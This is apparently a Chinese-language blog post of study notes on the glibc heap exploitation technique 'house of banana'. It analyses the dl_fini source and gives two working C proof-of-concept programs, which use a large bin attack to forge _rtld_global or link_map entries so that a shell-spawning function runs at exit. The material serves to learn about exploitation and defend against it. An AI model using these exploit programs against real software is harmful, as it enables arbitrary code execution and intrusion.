0%

house-of-banana

house-of-banana学习笔记

早就听闻banana的强大,今天来学习一波。

使用条件(满足任一条件即可):

  • 程序能够显式的执行exit函数

  • 程序通过libc_start_main启动的主函数,且主函数能够结束

1.劫持_ns_loaded

我们先来看一下fini_array这个数组是如何被调用的。

image-20211206202855123

因此我们直接分析源码,只看其中的一个for循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
  /*ns = 0*/
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
__rtld_lock_lock_recursive (GL(dl_load_lock));
/*nloaded = 4*/
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
else
{
struct link_map *maps[nloaded];

unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

++l->l_direct_opencount;
}
/*LM_ID_BASE=0*/
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;

_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);

__rtld_lock_unlock_recursive (GL(dl_load_lock));

for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];

if (l->l_init_called)
{
l->l_init_called = 0;

/*DT_FINI=13 */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| l->l_info[DT_FINI] != NULL)
{
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* DT_FINI_ARRAY=26,DT_FINI_ARRAYSZ=28*/
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
……………
}
}
}

可以看到想要执行array[i](),第一种方法就是劫持GL(dl_ns)[0]._ns_loaded,将其改为一个堆的地址。

  • 这两个条件即可以看出,for要循环四次,maps[i]需要赋四个值。
1
2
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
  • l->l_init_called需要等于1,只占一位

    1
    2
    3
    4
    5
    6
    7
    8
    enum			/* Where this object came from.  */
    {
    lt_executable, /* The main executable program. */
    lt_library, /* Library needed by main executable. */
    lt_loaded /* Extra run-time loaded shared object. */
    } l_type:2;
    unsigned int l_relocated:1; /* Nonzero if object's relocations done. */
    unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
  • l->l_info[DT_FINI_ARRAY] != NULL|| l->l_info[DT_FINI] != NULL

  • l->l_addr需要是目标函数的地址且l->l_info[26]->d_un.d_ptr 为0,l->l_info[28]->d_un.d_val为8

    1
    2
    3
    4
    5
    ElfW(Addr) *array =
    (ElfW(Addr) *) (l->l_addr
    + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
    unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
    / sizeof (ElfW(Addr)));

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#gcc -g house-of-banana.c -o house-of-banana
#include <stdio.h>
#include <stdlib.h>

void backdoor() {
puts("you hacked me!!");
system("/bin/sh");
}

int main() {
puts("house of banana's poc");
size_t libc_base = &puts - 0x875a0;
size_t _rtld_global_ptr_addr = libc_base + 0x243060;
char *ptr0 = malloc(0x450);
char *gap = malloc(0x10);
char *ptr1 = malloc(0x440);
gap = malloc(0x10);
char *ptr2 = malloc(0x410);
gap = malloc(0x10);

free(ptr0);
//put ptr9 into large bin
malloc(0x500);
free(ptr1); //free ptr1 into unsorted bin
free(ptr2); //free ptr2 into unsorted bin
//bk_nextsize = _rtld_global_ptr_addr
*(size_t *)(ptr0 + 0x18) = _rtld_global_ptr_addr - 0x20;
malloc(0x410); //large bin attack to hijack _rtld_global_ptr

//fake a _rtld_global
size_t fake_rtld_global_addr = ptr1 - 0x10;
size_t *fake_rtld_global = (size_t *)ptr1;
char buf[0x100];
//the chain's length must >= 4
fake_rtld_global[1] = &fake_rtld_global[2];
fake_rtld_global[3] = fake_rtld_global_addr;

fake_rtld_global[2+3] = &fake_rtld_global[3];
fake_rtld_global[2+5] = &fake_rtld_global[2];

fake_rtld_global[3+3] = &fake_rtld_global[8];
fake_rtld_global[3+5] = &fake_rtld_global[3];

fake_rtld_global[8+3] = 0;
fake_rtld_global[8+5] = &fake_rtld_global[8];


//fake a fini_array segment
//_rtld_global._dl_ns[0].l_info[26]!=0
fake_rtld_global[0x20] = &fake_rtld_global[0x30];
//_rtld_global._dl_ns[0].l_info[28].d_un.d_val=8
fake_rtld_global[0x22] = &fake_rtld_global[0x23];
fake_rtld_global[0x23+1] = 0x8; //func ptrs total len


fake_rtld_global[0x30] = 0x1A;//这里不知道这个值的作用,置0也ok
//_rtld_global._dl_ns[0].l_info[26].d_un.d_ptr=0
fake_rtld_global[0x31] = 0;
//array=&fake_rtld_global[0x32]
fake_rtld_global[-2] = &fake_rtld_global[0x32];

//funcs
fake_rtld_global[0x32] = backdoor;
//l->l_init_called=1
fake_rtld_global[0x61] = 0x800000000;
}

劫持_rtld_global._dl_ns._ns_loaded.l_next.l_next.l_next

因为劫持_ns_loaded需要绕过两次assert(),比较麻烦,因此我们可以直接劫持_rtld_global._dl_ns._ns_loaded.l_next.l_next.l_next,将其修改为chunk的地址,破坏更小,绕过更简单。

和上面的方法大体一样

  • 我们需要将l_next置0

    1
    assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
  • 为了能使maps[3]=l,需要使l_real==l

  • l->l_init_called需要等于1,只占一位

    1
    2
    3
    4
    5
    6
    7
    8
    enum			/* Where this object came from.  */
    {
    lt_executable, /* The main executable program. */
    lt_library, /* Library needed by main executable. */
    lt_loaded /* Extra run-time loaded shared object. */
    } l_type:2;
    unsigned int l_relocated:1; /* Nonzero if object's relocations done. */
    unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
  • l->l_info[DT_FINI_ARRAY] != NULL|| l->l_info[DT_FINI] != NULL

  • l->l_addr需要是目标函数的地址且l->l_info[26]->d_un.d_ptr 为0,l->l_info[28]->d_un.d_val为8

    1
    2
    3
    4
    5
    ElfW(Addr) *array =
    (ElfW(Addr) *) (l->l_addr
    + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
    unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
    / sizeof (ElfW(Addr)));

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#gcc -g house-of-banana.c -o house-of-banana
#include <stdio.h>
#include <stdlib.h>

void backdoor() {
puts("you hacked me!!");
system("/bin/sh");
}

int main() {
puts("house of banana's poc");
size_t libc_base = &puts - 0x875a0;
size_t _rtld_global_ptr_addr = libc_base + 0x243060;
char *ptr0 = malloc(0x450);
char *gap = malloc(0x10);
char *ptr1 = malloc(0x440);
gap = malloc(0x10);
char *ptr2 = malloc(0x410);
gap = malloc(0x10);

free(ptr0);
//put ptr9 into large bin
malloc(0x500);
free(ptr1); //free ptr1 into unsorted bin
free(ptr2); //free ptr2 into unsorted bin
//bk_nextsize = _rtld_global_ptr_addr
*(size_t *)(ptr0 + 0x18) = _rtld_global_ptr_addr - 0x51048 - 0x20;
malloc(0x410); //large bin attack to hijack _rtld_global_ptr

//fake a _rtld_global
size_t fake_rtld_global_addr = ptr1 - 0x10;
size_t *fake_rtld_global = (size_t *)ptr1;
char buf[0x100];

//l_next=0,l_real==l
fake_rtld_global[1] = 0;
fake_rtld_global[3] = fake_rtld_global_addr;

//fake a fini_array segment
//_rtld_global._dl_ns[0].l_info[26]!=0
fake_rtld_global[0x20] = &fake_rtld_global[6];
//_rtld_global._dl_ns[0].l_info[28].d_un.d_val=8
fake_rtld_global[0x22] = &fake_rtld_global[9];
fake_rtld_global[10] = 0x8; //func ptrs total len

//_rtld_global._dl_ns[0].l_info[26].d_un.d_ptr=0
fake_rtld_global[7] = 0;
//array=&fake_rtld_global[8]
fake_rtld_global[-2] = &fake_rtld_global[8];

//funcs
fake_rtld_global[8] = backdoor;
//l->l_init_called=1
fake_rtld_global[0x61] = 0x800000000;
}

总结

house-of-banana的强大之处在于它将攻击重点转向了程序退出时的部分,并且目前适用于所有版本。只要调用了exit函数,就可以使用它。学习这个技巧时的难点在于struct rtld_global这个结构体。

参考